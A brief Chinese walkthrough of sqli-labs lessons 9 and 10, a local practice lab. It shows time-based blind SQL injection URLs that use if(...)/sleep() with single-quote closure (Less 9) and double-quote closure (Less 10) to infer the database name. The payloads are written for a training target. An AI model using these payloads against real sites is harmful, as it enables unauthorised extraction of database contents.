Less-9,10【盲注+时间注入】
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Less 9
用单引、双引测试页面均无反应。先利用单引号闭合结合if sleep进行时间盲注http://127.0.0.1/sqli-labs/Less-9/?id=1%27%20and%20if((substr(database(),1,1)=%27s%27),sleep(10),sleep(2))%20and%20%271%20--+正确结果为单引号闭合,之后进行脱库操作http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((database()='security'),sleep(10),sleep(2)) and '1--+-
Less 10
双引号闭合,其他与less9 一致 -